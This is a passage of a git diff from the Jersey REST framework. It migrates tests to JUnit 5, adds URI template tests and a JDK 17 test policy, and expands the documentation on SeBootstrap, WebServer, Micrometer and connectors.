"X{.empty}", empty); + assertEncodedPathTemplateExpansion("X", "X{.undef}"); + assertEncodedPathTemplateExpansion("X.val", "X{.var:3}", var); + assertEncodedPathTemplateExpansion("X.red,green,blue", "X{.list}", list); + assertEncodedPathTemplateExpansion("X.red.green.blue", "X{.list*}", list); + assertEncodedPathTemplateExpansion("X.semi,%3B,dot,.,comma,%2C", "X{.keys}", new Object[]{keys}); + assertEncodedPathTemplateExpansion("X.semi=%3B.dot=..comma=%2C", "X{.keys*}", new Object[]{keys}); + assertEncodedPathTemplateExpansion("X", "X{.empty_keys}", emptyKeys); + assertEncodedPathTemplateExpansion("X", "X{.empty_keys*}", emptyKeys); + } + + @Test + void testRfc6570SlashTemplateExamples() { + /* + RFC 6570, section 3.2.6 + + {/who} /fred + {/who,who} /fred/fred + {/half,who} /50%25/fred + {/who,dub} /fred/me%2Ftoo + {/var} /value + {/var,empty} /value/ + {/var,undef} /value + {/var,x}/here /value/1024/here + {/var:1,var} /v/value + {/list} /red,green,blue + {/list*} /red/green/blue + {/list*,path:4} /red/green/blue/%2Ffoo + {/keys} /semi,%3B,dot,.,comma,%2C + {/keys*} /semi=%3B/dot=./comma=%2C + */ + assertEncodedPathTemplateExpansion("/fred", "{/who}", who); + assertEncodedPathTemplateExpansion("/fred/fred", "{/who,who}", who); + assertEncodedPathTemplateExpansion("/50%25/fred", "{/half,who}", half, who); + assertEncodedPathTemplateExpansion("/fred/me%2Ftoo", "{/who,dub}", who, dub); + assertEncodedPathTemplateExpansion("/value", "{/var}", var); + assertEncodedPathTemplateExpansion("/value/", "{/var,empty}", var, empty); + assertEncodedPathTemplateExpansion("/value", "{/var,undef}", var); + assertEncodedPathTemplateExpansion("/v/value", "{/var:1,var}", var); + assertEncodedPathTemplateExpansion("/red,green,blue", "{/list}", list); + assertEncodedPathTemplateExpansion("/red/green/blue", "{/list*}", list); + assertEncodedPathTemplateExpansion("/red/green/blue/%2Ffoo", "{/list*,path:4}", list, path); + assertEncodedPathTemplateExpansion("/semi,%3B,dot,.,comma,%2C", "{/keys}", new Object[]{keys}); + assertEncodedPathTemplateExpansion("/semi=%3B/dot=./comma=%2C", "{/keys*}", new Object[]{keys}); + } + + @Test + void testRfc6570MultiplePathArgs() { + _testTemplateNames("/{a,b,c}", "a", "b", "c"); + _testMatching("/uri/{a}", "/uri/hello", "hello"); + _testMatching("/uri/{a,b}", "/uri/hello,world", "hello", "world"); + _testMatching("/uri/{a,b}", "/uri/x", "x", null); + _testMatching("/uri{?a,b}", "/uri?a=hello&b=world", "hello", "world"); + _testMatching("/uri/{a,b,c}", "/uri/hello,world,!", "hello", "world", "!"); + _testMatching("/uri/{a,b,c}", "/uri/hello,world", "hello", "world", null); + _testMatching("/uri/{a,b,c}", "/uri/hello", "hello", null, null); + _testMatching("/uri/{a,b,c}", "/uri/", null, null, null); + } + + @Test + public void testRegularExpressionIsNotOptional() { + Assertions.assertThrows(AssertionFailedError.class, + () -> _testMatching("/{name: [a-z0-9]{3,128}}", "/", new String[]{null})); + } + + @Test + void testRfc6570PathLength() { + _testMatching("/uri/{a:5}", "/uri/hello", "hello"); + _testMatching("/uri/{a:5,b:6}", "/uri/hello,world!", "hello", "world!"); + assertEncodedPathTemplateExpansion("102,7", "{x:3,y:1}", x, y); + } + + @Test + void testInvalidRegexp() { + _assertMatchingThrowsIAE("/uri/{a**}"); + _assertMatchingThrowsIAE("/uri/{a*a}"); + _assertMatchingThrowsIAE("/uri/{a{"); + _assertMatchingThrowsIAE("/uri/{*}"); + _assertMatchingThrowsIAE("/uri/{}}"); + _assertMatchingThrowsIAE("/uri/{?a:12345}"); //Query knows just length, but the length must be less than 10000 + _assertMatchingThrowsIAE("/uri/{?a:0}"); + _assertMatchingThrowsIAE("/uri/{?a:-1}"); + _assertMatchingThrowsIAE("/uri/{??a}"); + _assertMatchingThrowsIAE("/uri/{--a}"); + _assertMatchingThrowsIAE("/uri/{++a}"); + } + + @Test + public void ignoreLastComma() { + UriTemplateParser parser = new UriTemplateParser("/{a,b,}"); + Assertions.assertEquals(2, parser.getNames().size()); + } + + void _assertMatchingThrowsIAE(String uri) { + try { + _testMatching(uri, "/uri/hello", "hello"); + throw new IllegalStateException("IllegalArgumentException checking incorrect uri " + uri + " has not been thrown"); + } catch (IllegalArgumentException e) { + // expected + } } private void assertEncodedPathTemplateExpansion(final String expectedExpansion, final String pathTemplate, final Object... values) { - assertEquals("Unexpected encoded matrix parameter template expansion result.", - expectedExpansion, - UriTemplate.createURI(null, null, null, null, null, pathTemplate, null, null, values, true, false)); + assertEquals(expectedExpansion, + UriTemplate.createURI(null, null, null, null, null, pathTemplate, null, null, values, true, false), + "Unexpected encoded matrix parameter template expansion result."); } private void assertEncodedPathTemplateExpansion(final String expectedExpansion, final String pathTemplate, final Map values) { - assertEquals("Unexpected encoded matrix parameter template expansion result.", - expectedExpansion, - UriTemplate.createURI(null, null, null, null, null, pathTemplate, null, null, values, true, false)); + assertEquals(expectedExpansion, + UriTemplate.createURI(null, null, null, null, null, pathTemplate, null, null, values, true, false), + "Unexpected encoded matrix parameter template expansion result."); } } diff --git a/core-common/src/test/java/org/glassfish/jersey/uri/internal/PathTemplateTest.java b/core-common/src/test/java/org/glassfish/jersey/uri/internal/PathTemplateTest.java index 4822e4a709e..ec9bc99daa6 100644 --- a/core-common/src/test/java/org/glassfish/jersey/uri/internal/PathTemplateTest.java +++ b/core-common/src/test/java/org/glassfish/jersey/uri/internal/PathTemplateTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,8 +18,8 @@ import org.glassfish.jersey.uri.PathTemplate; -import org.junit.Test; -import static org.junit.Assert.assertEquals; +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -31,14 +31,14 @@ public class PathTemplateTest { public void testBasicOperations() throws Exception { PathTemplate tmpl = new PathTemplate("/{id : \\d+}/test"); assertEquals( - "getNumberOfTemplateVariables() returned invalid number", 1, - tmpl.getNumberOfTemplateVariables() + tmpl.getNumberOfTemplateVariables(), + "getNumberOfTemplateVariables() returned invalid number" ); assertEquals( - "getNumberOfExplicitRegexes() returned invalid number", 1, - tmpl.getNumberOfExplicitRegexes() + tmpl.getNumberOfExplicitRegexes(), + "getNumberOfExplicitRegexes() returned invalid number" ); } } diff --git a/core-common/src/test/resources/surefire-jdk17.policy b/core-common/src/test/resources/surefire-jdk17.policy new file mode 100644 index 00000000000..a960a3dda09 --- /dev/null +++ b/core-common/src/test/resources/surefire-jdk17.policy @@ -0,0 +1,20 @@ +/* + * Copyright (c) 2022 Vladimir Bychkov. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +// JDK 17 and later permissions +grant { + permission java.lang.RuntimePermission "setContextClassLoader"; +}; diff --git a/core-server/pom.xml b/core-server/pom.xml index de4819171a2..4885dc15cfc 100644 --- a/core-server/pom.xml +++ b/core-server/pom.xml @@ -1,7 +1,7 @@ +<dependency> + <groupId>org.glassfish.jersey.connectory</groupId> + <artifactId>jersey-jetty11-connector</artifactId> + <version>&version;</version> +</dependency> + <dependency> <groupId>org.glassfish.jersey.connectors</groupId> <artifactId>jersey-jetty-connector</artifactId> diff --git a/docs/src/main/docbook/deployment.xml b/docs/src/main/docbook/deployment.xml index 55d8bb7fdd7..9fac43cf6c1 100644 --- a/docs/src/main/docbook/deployment.xml +++ b/docs/src/main/docbook/deployment.xml @@ -508,6 +508,88 @@ Channel server = NettyHttpContainerProvider.createServer(baseUri, resourceConfig + +
    + Jakarta REST Bootstrap API + + Jakarta REST 3.1 comes with a new API for starting an application in Java SE environment. This + Bootstrap API is mainly represented by &lit.jaxrs.SeBootstrap; interface. + The Jakarta REST application is started as follows: + Application application = new MyApplication(); +SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder(); +CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, configBuilder.build()); + + + Later, when the SE application is no longer needed, it can be shutdown as follows: + CompletionStage<SeBootstrap.Instance> completionStage = ... +SeBootstrap.Instance instance = completionStage().get(); +instance.stop(); + + + The &lit.jaxrs.SeBootstrap.Configuration; allows for configuring the Jersey runtime. The Jakarta REST 3.1 allows + for configuring the HTTP port, the protocol (HTTP), the hostname, the root path, and SSL. The + &lit.jaxrs.SeBootstrap; is configured as follows: + SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder(); +configBuilder.property(SeBootstrap.Configuration.PROTOCOL, "HTTP") + .property(SeBootstrap.Configuration.HOST, "localhost") + .property(SeBootstrap.Configuration.PORT, 1234) + .property(SeBootstrap.Configuration.ROOT_PATH, "/root/path"); + + + The &lit.jaxrs.SeBootstrap; deployment is backed up by an HTTP server described in + . If multiple Jersey container modules are on the classpath, + the first found is used. + +
    + +
    + Jersey WebServer SPI + + Jersey &jersey.server.spi.WebServer; and &jersey.server.spi.WebServerProvider; are SPI interfaces similar to + &jersey.server.spi.ContainerProvider; but they are used for the SE deployment. They serve as a bridge between + Jersey containers and &lit.jaxrs.SeBootstrap; API. + The Jakarta REST application can be started as follows: + Application application = new MyApplication(); +SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder(); +WebServer webServer = WebServerFactory.createServer(WebServer.class, application, configBuilder.build()); + + + Later, when the SE application is no longer needed, it can be shutdown as follows: + WebServer webServer = ... +webServer.stop(); + + + &jersey.server.WebServerFactory; is used to automatically choose among available implementations on a classpath. + If there are multiple implementations available, the first found is used. The user can choose the implementation + of a &lit.jersey.server.spi.WebServer; by a concrete WebServer subclass, for instance: + +WebServer webServer = WebServerFactory.createServer(GrizzlyHttpServer.class, application, configBuilder.build()); + Another way to choose the &lit.jersey.server.spi.WebServer; implementation is by the + &lit.jersey.server.spi.WebServerProvider; implementation: + +WebServer webServer = GrizzlyHttpServerProvider.createServer(WebServer.class, application, configBuilder.build()); + + + For additional customization of the WebServer settings, see . + +
    + + + + When the port is set to -1, the default ports are used. + Unlike the default ports used by the , the &lit.jaxrs.SeBootstrap; API and + &lit.jersey.server.spi.WebServer; SPI use default ports 8080 and 8443, respectively. + + + When the port is set to 0, the implementation scans for a free port. The privileged ports are skipped, and the + scanning starts with port 1024. + + + Using the restricted ports can be ensured either by setting directly the port, or by setting + &jersey.server.ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS; property to true in the + &lit.jaxrs.SeBootstrap.Configuration; + +
    diff --git a/docs/src/main/docbook/getting-started.xml b/docs/src/main/docbook/getting-started.xml index 41eba646fbb..5553d50a08a 100644 --- a/docs/src/main/docbook/getting-started.xml +++ b/docs/src/main/docbook/getting-started.xml @@ -51,10 +51,10 @@ configuration needs to be added to your Maven project pom: <snapshotRepository> - <id>ossrh</id> - <name>Sonatype Nexus Snapshots</name> - <url>https://jakarta.oss.sonatype.org/content/repositories/snapshots/</url> - </snapshotRepository> + <id>ossrh</id> + <name>Sonatype Nexus Snapshots</name> + <url>https://jakarta.oss.sonatype.org/content/repositories/snapshots/</url> +</snapshotRepository> @@ -151,7 +151,7 @@ public class MyResourceTest { private HttpServer server; private WebTarget target; - @Before + @BeforeEach public void setUp() throws Exception { server = Main.startServer(); @@ -159,7 +159,7 @@ public class MyResourceTest { target = c.target(Main.BASE_URI); } - @After + @AfterEach public void tearDown() throws Exception { server.stop(); } @@ -590,7 +590,7 @@ Tests run: 0, Failures: 0, Errors: 0, Skipped: 0 [INFO] Copying jetty-util-9.0.6.v20130930.jar to /tmp/build_992cc747-26d6-4800-bdb1-add47b9583cd/target/dependency/jetty-util-9.0.6.v20130930.jar [INFO] Copying jetty-webapp-9.0.6.v20130930.jar to /tmp/build_992cc747-26d6-4800-bdb1-add47b9583cd/target/dependency/jetty-webapp-9.0.6.v20130930.jar [INFO] Copying jetty-xml-9.0.6.v20130930.jar to /tmp/build_992cc747-26d6-4800-bdb1-add47b9583cd/target/dependency/jetty-xml-9.0.6.v20130930.jar - [INFO] Copying javax.servlet-3.0.0.v201112011016.jar to /tmp/build_992cc747-26d6-4800-bdb1-add47b9583cd/target/dependency/javax.servlet-3.0.0.v201112011016.jar + [INFO] Copying jakarta.servlet-3.0.0.v201112011016.jar to /tmp/build_992cc747-26d6-4800-bdb1-add47b9583cd/target/dependency/jakarta.servlet-3.0.0.v201112011016.jar [INFO] Copying hk2-api-2.2.0-b21.jar to /tmp/build_992cc747-26d6-4800-bdb1-add47b9583cd/target/dependency/hk2-api-2.2.0-b21.jar [INFO] Copying hk2-locator-2.2.0-b21.jar to /tmp/build_992cc747-26d6-4800-bdb1-add47b9583cd/target/dependency/hk2-locator-2.2.0-b21.jar [INFO] Copying hk2-utils-2.2.0-b21.jar to /tmp/build_992cc747-26d6-4800-bdb1-add47b9583cd/target/dependency/hk2-utils-2.2.0-b21.jar diff --git a/docs/src/main/docbook/jersey.ent b/docs/src/main/docbook/jersey.ent index 144f7fd24ad..be675348569 100644 --- a/docs/src/main/docbook/jersey.ent +++ b/docs/src/main/docbook/jersey.ent @@ -1,7 +1,7 @@ Configuration"> @@ -234,6 +236,7 @@ Response.Status"> Response.Status.Family"> Response.StatusType"> +SeBootstrap"> SecurityContext"> StreamingOutput"> UriBuilder"> @@ -245,6 +248,7 @@ ExceptionMapper<E extends Throwable>"> MessageBodyReader<T>"> MessageBodyWriter<T>"> +ParamConverter<T>"> @Provider"> Providers"> RuntimeDelegate"> @@ -302,6 +306,35 @@ ManagedScheduledExecutorService"> ApacheConnectorProvider"> +ApacheConnectionClosingStrategy"> +ApacheHttpClientBuilderConfigurator"> +ApacheClientProperties"> +ApacheClientProperties.CONNECTION_CLOSING_STRATEGY"> +ApacheClientProperties.CONNECTION_MANAGER"> +ApacheClientProperties.CONNECTION_MANAGER_SHARED"> +ApacheClientProperties.CREDENTIALS_PROVIDER"> +ApacheClientProperties.DISABLE_COOKIES"> +ApacheClientProperties.KEEPALIVE_STRATEGY"> +ApacheClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION"> +ApacheClientProperties.REQUEST_CONFIG"> +ApacheClientProperties.RETRY_HANDLER"> +ApacheClientProperties.REUSE_STRATEGY"> +ApacheClientProperties.USE_SYSTEM_PROPERTIES"> +Apache5ConnectorProvider"> +Apache5ConnectionClosingStrategy"> +Apache5HttpClientBuilderConfigurator"> +Apache5ClientProperties"> +Apache5ClientProperties.CONNECTION_CLOSING_STRATEGY"> +Apache5ClientProperties.CONNECTION_MANAGER"> +Apache5ClientProperties.CONNECTION_MANAGER_SHARED"> +Apache5ClientProperties.CREDENTIALS_PROVIDER"> +ApacheC5lientProperties.DISABLE_COOKIES"> +Apache5ClientProperties.KEEPALIVE_STRATEGY"> +Apache5ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION"> +Apache5ClientProperties.REQUEST_CONFIG"> +Apache5ClientProperties.RETRY_STRATEGY"> +Apache5ClientProperties.REUSE_STRATEGY"> +Apache5ClientProperties.USE_SYSTEM_PROPERTIES"> ChunkParser"> ChunkedInput"> @ClientAsyncExecutor"> @@ -313,6 +346,7 @@ ClientProperties.BUFFER_RESPONSE_ENTITY_ON_EXCEPTION" > ClientProperties.CHUNKED_ENCODING_SIZE" > ClientProperties.CONNECT_TIMEOUT" > +ClientProperties.CONNECTOR_PROVIDER" > ClientProperties.DEFAULT_CHUNK_SIZE" > ClientProperties.FEATURE_AUTO_DISCOVERY_DISABLE" > ClientProperties.FOLLOW_REDIRECTS" > @@ -326,10 +360,12 @@ ClientProperties.READ_TIMEOUT" > ClientProperties.REQUEST_ENTITY_PROCESSING" > ClientProperties.SUPPRESS_HTTP_COMPLIANCE_VALIDATION" > +ClientProperties.SSL_CONTEXT_SUPPLIER" > ClientProperties.USE_ENCODING" > ClientProperties.DIGESTAUTH_URI_CACHE_SIZELIMIT" > ClientProperties.EXPECT_100_CONTINUE" > ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE" > +ClientProperties.SNI_HOST_NAME" > ClientLifecycleListener"> Connector"> ConnectorProvider"> @@ -371,6 +407,13 @@ CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_CLIENT" > CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER" > CommonProperties.PROVIDER_DEFAULT_DISABLE" > +CommonProperties.JSON_JACKSON_ENABLED_MODULES" > +CommonProperties.JSON_JACKSON_ENABLED_MODULES_CLIENT" > +CommonProperties.JSON_JACKSON_ENABLED_MODULES_SERVER" > +CommonProperties.JSON_JACKSON_DISABLED_MODULES" > +CommonProperties.JSON_JACKSON_DISABLED_MODULES_CLIENT" > +CommonProperties.JSON_JACKSON_DISABLED_MODULES_SERVER" > +CommonProperties.PARAM_CONVERTERS_THROW_IAE" > DisposableSupplier"> InjectionManager"> AbstractBinder"> @@ -415,36 +458,79 @@ GrizzlyHttpContainerProvider"> GrizzlyHttpServerFactory"> GrizzlyWebContainerFactory"> +HelidonConnectorProvider"> +HelidonClientProperties"> +HelidonClientProperties.CONFIG"> +JdkConnectorProvider"> +JdkConnectorProperties"> +JdkConnectorProperties.CONNECTION_IDLE_TIMEOUT"> +JdkConnectorProperties.CONTAINER_IDLE_TIMEOUT"> +JdkConnectorProperties.COOKIE_POLICY"> +JdkConnectorProperties.DEFAULT_CONNECTION_CLOSE_WAIT"> +JdkConnectorProperties.DEFAULT_CONNECTION_IDLE_TIMEOUT"> +JdkConnectorProperties.DEFAULT_MAX_CONNECTIONS_PER_DESTINATION"> +JdkConnectorProperties.DEFAULT_MAX_HEADER_SIZE"> +JdkConnectorProperties.DEFAULT_MAX_REDIRECTS"> +JdkConnectorProperties.MAX_CONNECTIONS_PER_DESTINATION"> +JdkConnectorProperties.MAX_HEADER_SIZE"> +JdkConnectorProperties.MAX_REDIRECTS"> +JdkConnectorProperties.WORKER_THREAD_POOL_CONFIG"> JdkHttpHandlerContainer"> JdkHttpHandlerContainerProvider"> JdkHttpServerFactory"> +JettyClientProperties" > +JettyHttpClientSupplier" > +JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION" > +JettyClientProperties.DISABLE_COOKIES" > +JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION" > +JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE" > +JettyClientProperties.TOTAL_TIMEOUT" > JettyConnectorProvider"> +Jetty11Http2ConnectorProvider"> JettyHttpContainer"> JettyHttpContainerFactory"> JettyHttpContainerProvider"> JettyWebContainerFactory"> -JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION" > +Jetty11ClientProperties" > +Jetty11HttpClientSupplier" > +Jetty11ClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION" > +Jetty11ClientProperties.DISABLE_COOKIES" > +Jetty11ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION" > +Jetty11ClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE" > +Jetty11ClientProperties.TOTAL_TIMEOUT" > +Jetty11ConnectorProvider"> +JavaNetHttpConnectorProvider"> +JavaNetHttpClientProperties"> +JavaNetHttpClientProperties.COOKIE_HANDLER"> +JavaNetHttpClientProperties.SSL_PARAMETERS"> +JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION"> +JavaNetHttpClientProperties.DISABLE_COOKIES"> +JavaNetHttpClientProperties.HTTP_VERSION"> DeclarativeLinkingFeature"> LoggingFeature"> LoggingFeature.DEFAULT_LOGGER_NAME"> LoggingFeature.DEFAULT_LOGGER_LEVEL"> LoggingFeature.DEFAULT_VERBOSITY"> LoggingFeature.DEFAULT_MAX_ENTITY_SIZE"> +LoggingFeature.DEFAULT_REDACT_HEADERS"> LoggingFeature.LOGGING_FEATURE_LOGGER_NAME"> LoggingFeature.LOGGING_FEATURE_LOGGER_LEVEL"> LoggingFeature.LOGGING_FEATURE_VERBOSITY"> LoggingFeature.LOGGING_FEATURE_MAX_ENTITY_SIZE"> LoggingFeature.LOGGING_FEATURE_SEPARATOR"> +LoggingFeature.LOGGING_FEATURE_REDACT_HEADERS"> LoggingFeature.LOGGING_FEATURE_LOGGER_NAME_CLIENT"> LoggingFeature.LOGGING_FEATURE_LOGGER_LEVEL_CLIENT"> LoggingFeature.LOGGING_FEATURE_VERBOSITY_CLIENT"> LoggingFeature.LOGGING_FEATURE_MAX_ENTITY_SIZE_CLIENT"> LoggingFeature.LOGGING_FEATURE_SEPARATOR_CLIENT"> +LoggingFeature.LOGGING_FEATURE_REDACT_HEADERS_CLIENT"> LoggingFeature.LOGGING_FEATURE_LOGGER_NAME_SERVER"> LoggingFeature.LOGGING_FEATURE_LOGGER_LEVEL_SERVER"> LoggingFeature.LOGGING_FEATURE_VERBOSITY_SERVER"> LoggingFeature.LOGGING_FEATURE_MAX_ENTITY_SIZE_SERVER"> LoggingFeature.LOGGING_FEATURE_SEPARATOR_SERVER"> +LoggingFeature.LOGGING_FEATURE_REDACT_HEADERS_SERVER"> LoggingFeature.Verbosity"> LoggingFeature.Verbosity.HEADERS_ONLY"> LoggingFeature.Verbosity.PAYLOAD_ANY"> @@ -470,6 +556,13 @@ StreamDataBodyPart" > MessageBodyWorkers"> MessageProperties"> +MessageProperties.DEFLATE_WITHOUT_ZLIB"> +MessageProperties.IO_BUFFER_SIZE"> +MessageProperties.IO_DEFAULT_BUFFER_SIZE"> +MessageProperties.JAXB_PROCESS_XML_ROOT_ELEMENT"> +MessageProperties.JSON_MAX_STRING_LENGTH"> +MessageProperties.XML_SECURITY_DISABLE"> +MessageProperties.XML_FORMAT_OUTPUT"> AbstractEntityProcessor"> AbstractObjectProvider"> @EntityFiltering"> @@ -482,9 +575,15 @@ SecurityAnnotations"> SecurityEntityFilteringFeature"> SelectableEntityFilteringFeature"> +NettyClientProperties" > +NettyClientProperties.FILTER_HEADERS_FOR_PROXY" > +NettyClientProperties.IDLE_CONNECTION_PRUNE_TIMEOUT" > +NettyClientProperties.MAX_CONNECTIONS" > +NettyClientProperties.MAX_CONNECTIONS_TOTAL" > +NettyClientProperties.MAX_REDIRECTS" > +NettyClientProperties.PRESERVE_METHOD_ON_REDIRECT" > +NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT" > NettyConnectorProvider"> -JdkConnectorProvider"> ApplicationHandler"> @BackgroundScheduler"> BackgroundSchedulerLiteral"> @@ -543,11 +642,15 @@ ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231" > ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE" > ServerProperties.EMPTY_REQUEST_MEDIA_TYPE_MATCHES_ANY_CONSUMES" > +ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS" > +ServerProperties.WEBSERVER_AUTO_START" > +ServerProperties.WEBSERVER_CLASS" > Uri"> UriConnegFilter"> WadlFeature"> WadlGenerator"> WadlGeneratorConfig"> +WebServerFactory"> MethodHandler"> ComponentModelValidator"> ApplicationEvent"> @@ -590,6 +693,8 @@ ContainerProvider"> ExternalRequestScope"> RequestScopedInitializer"> +WebServer"> +WebServerProvider"> ServletContainer"> ServletProperties"> ServletProperties.FILTER_CONTEXT_PATH"> @@ -729,6 +834,8 @@ @QueryParam"> ReaderInterceptor"> ReaderInterceptorContext"> +SeBootstrap"> +SeBootstrap.Configuration"> WebApplicationException"> WriterInterceptor"> WriterInterceptorContext"> @@ -912,27 +1019,32 @@ JettyHttpContainerFactory"> JettyHttpContainerProvider"> JettyWebContainerFactory"> +Jetty11ConnectorProvider"> DeclarativeLinkingFeature"> LoggingFeature"> LoggingFeature.DEFAULT_LOGGER_NAME"> LoggingFeature.DEFAULT_LOGGER_LEVEL"> LoggingFeature.DEFAULT_VERBOSITY"> LoggingFeature.DEFAULT_MAX_ENTITY_SIZE"> +LoggingFeature.DEFAULT_REDACT_HEADERS"> LoggingFeature.LOGGING_FEATURE_LOGGER_NAME"> LoggingFeature.LOGGING_FEATURE_LOGGER_LEVEL"> LoggingFeature.LOGGING_FEATURE_VERBOSITY"> LoggingFeature.LOGGING_FEATURE_MAX_ENTITY_SIZE"> LoggingFeature.LOGGING_FEATURE_SEPARATOR"> +LoggingFeature.LOGGING_FEATURE_REDACT_HEADERS"> LoggingFeature.LOGGING_FEATURE_LOGGER_NAME_CLIENT"> LoggingFeature.LOGGING_FEATURE_LOGGER_LEVEL_CLIENT"> LoggingFeature.LOGGING_FEATURE_VERBOSITY_CLIENT"> LoggingFeature.LOGGING_FEATURE_MAX_ENTITY_SIZE_CLIENT"> -LoggingFeature.LOGGING_FEATURE_SEPARATORE_CLIENT"> +LoggingFeature.LOGGING_FEATURE_SEPARATOR_CLIENT"> +LoggingFeature.LOGGING_FEATURE_REDACT_HEADERS_CLIENT"> LoggingFeature.LOGGING_FEATURE_LOGGER_NAME_SERVER"> LoggingFeature.LOGGING_FEATURE_LOGGER_LEVEL_SERVER"> LoggingFeature.LOGGING_FEATURE_VERBOSITY_SERVER"> LoggingFeature.LOGGING_FEATURE_MAX_ENTITY_SIZE_SERVER"> LoggingFeature.LOGGING_FEATURE_SEPARATOR_SERVER"> +LoggingFeature.LOGGING_FEATURE_REDACT_HEADERS_SERVER"> LoggingFeature.Verbosity"> LoggingFeature.Verbosity.HEADERS_ONLY"> LoggingFeature.Verbosity.PAYLOAD_ANY"> @@ -1046,6 +1158,8 @@ TokenResource"> ComponentProvider"> ContainerProvider"> +WebServer"> +WebServerProvider"> ServletContainer"> ServletProperties"> ServletProperties.FILTER_CONTEXT_PATH"> diff --git a/docs/src/main/docbook/logging.xml b/docs/src/main/docbook/logging.xml index e125d3e13db..ce853a9869c 100644 --- a/docs/src/main/docbook/logging.xml +++ b/docs/src/main/docbook/logging.xml @@ -1,7 +1,7 @@ + + %ents; ]> + + Micrometer - application observability facade + + The chapter is about Micrometer integration into Jersey which comes since the version 2.41 as an extension module. + Before Jersey 2.41, it was possible to integrate Micrometer with Jersey using directly µmeter.jersey.link;. + There is also support for Jakarta EE 10 integration. The detailed documentation regarding metrics fine-tuning + can be found at the µmeter.link;. + +
    + Integration into Jersey + + Since Jersey 2.41 it's possibly to use an extension module in order to use Micrometer instrumentation + inside your projects. The module shall be added as a dependency: + <dependency> + <groupId>org.glassfish.jersey.ext.micrometer</groupId> + <artifactId>jersey-micrometer</artifactId> + <version>&version;</scope> +</dependency> + After the dependency is added, the Micrometer can be configured as follows: + final ResourceConfig resourceConfig = new ResourceConfig(); +resourceConfig.register(new MetricsApplicationEventListener( + registry, + new DefaultJerseyTagsProvider(), "http.shared.metrics", true)); +final ServletContainer servletContainer = new ServletContainer(resourceConfig); + the registry instance is of type MeterRegistry which could be + new SimpleMeterRegistry();. Then all metrics can be accessed like + registry.get("http.shared.metrics"). The "http.shared.metrics" string + is the name of a particular registry which was registered within the + MetricsApplicationEventListener. + + Micrometer supports a set of Meter primitives, including Timer, + Counter, Gauge, DistributionSummary, + LongTaskTimer, FunctionCounter, FunctionTimer, + and TimeGauge. + Different meter types result in a different number of time series metrics. For example, while there is + a single metric that represents a Gauge, a Timer measures both the + count of timed events and the total time of all timed events. + + + Implementing resource methods, which should be measured, several annotations can be used. The basic example + demonstrates the @Counted annotation. + + Annotated Micrometer resource methods + @GET +@Counted(value = COUNTER_NAME, description = COUNTER_DESCRIPTION) +@Produces(MediaType.TEXT_PLAIN) +@Path("counted") +public String getCounterMessage() { + return "Requests to this method are counted. Use /metrics to see more"; +} + + + Metrics however can be introduced using another annotations @Timed, or + @TimedSet which is a set of @Timed. + +
    +
    \ No newline at end of file diff --git a/docs/src/main/docbook/migration.xml b/docs/src/main/docbook/migration.xml index 9389341065f..03f7b613502 100644 --- a/docs/src/main/docbook/migration.xml +++ b/docs/src/main/docbook/migration.xml @@ -1,7 +1,7 @@ @@ -178,6 +179,14 @@ + + jersey-apache5-connector + + +Jersey Client Transport via Apache 5 + + + jersey-apache-connector @@ -194,6 +203,14 @@ + + jersey-helidon-connector + + +Jersey Client Transport via Helidon + + + jersey-jdk-connector @@ -206,8 +223,17 @@ jersey-jetty-connector -Jersey Client Transport via Jetty (for JDK 11+) +Jersey Client Transport via Jetty (for JDK 17+) + + + + + jersey-jetty11-connector + + +Jersey Client Transport via Jetty 11.x + @@ -390,6 +416,30 @@ + + jersey-micrometer + + +Jersey extension module providing support for Micrometer. + + + + + jersey-mp-config + + +Jersey extension module providing support for MicroProfile Configuration. + + + + + jersey-mp-rest-client + + +Jersey extension module providing support for MicroProfile REST Client. + + + jersey-mvc diff --git a/docs/src/main/docbook/rx-client.xml b/docs/src/main/docbook/rx-client.xml index 502e590bdd5..0f1b89b0ad4 100644 --- a/docs/src/main/docbook/rx-client.xml +++ b/docs/src/main/docbook/rx-client.xml @@ -1,7 +1,7 @@ - org.eclipse.jetty - jetty-maven-plugin + org.eclipse.jetty.ee10 + jetty-ee10-maven-plugin /bookstore-webapp diff --git a/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/BookstoreTest.java b/examples/bookstore-webapp/src/test/java/org/glassfish/jersey/examples/bookstore/webapp/resource/BookstoreTest.java index abecf273f89..0b25af3b1ab 100644 --- 